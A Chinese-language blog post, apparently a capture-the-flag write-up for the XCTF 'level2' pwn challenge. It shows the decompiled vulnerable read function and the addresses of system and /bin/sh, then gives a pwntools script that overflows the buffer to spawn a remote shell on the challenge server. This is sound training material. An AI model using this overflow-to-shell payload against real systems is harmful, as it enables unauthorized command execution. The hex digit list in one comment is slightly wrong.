攻防世界|XCTF|level2|

进checksec,查看到程序无PIE,堆栈不可执行,无栈保护

d2365ac5e08627868a0a9bc5c332db2d
跑一遍逻辑,还是hello word
4944d6e43329b5f1581ba7c10e4e85d9
用IDA查看,F5查看main主函数

看源码,主要就是echo了一个hello world,同时很明显上方有一个显眼的脆弱函数

f4f7bc9cf65ce46223d3eaafc5c83657

双击进入脆弱函数查看

62a9703234407884bcb65ac01ea6f153

image
系统要求input输入内容,然后return了一个read操作,同时读了一个&buf,buf是0x100u个空间,猜测是要把这个buf打满然后让溢出的内容给read读到,双击&buf进去查看偏移

1bc7dbe0ef2f950672abd99b50c3e0e3

787594152b0432679a73a133e3dc8c26

image

回到main函数的图形界面,可以看到下面有一个system函数,f5反编译进去查看

发现该函数能够返回一个system权限

8128e8a38fddfb3f049aac4414decdb2

找到system函数的地址:0x08048320

image

ff603e281593632eb80c05ed14986446

image

image
image

b02cc58a2bec70f0fd021269fc4b5a9c

image

py脚本如下:

点击查看代码
from pwn import *
r = remote("61.147.171.105", 60437)
payload = b'A'*0x88+b'B'*0x04 + p32(0x08048320) +p32(0) +p32(0x0804A024)
r.sendline(payload)
r.interactive()

'''
这里payload也可以这样构造
payload = b'a'*0x8C + p32(0x08048320) +p32(0) +p32(0x0804A024)
因为这里的加法是十六进制的加法,0123456789ABCDEFG

88+04 = 8C
'''

要有 system(bin/sh)才能进行命令执行
参考链接:https://blog.csdn.net/Deeeelete/article/details/109681307

posted @ 2025-08-24 17:07  Dragon_Roar  阅读(6)  评论(0)    收藏  举报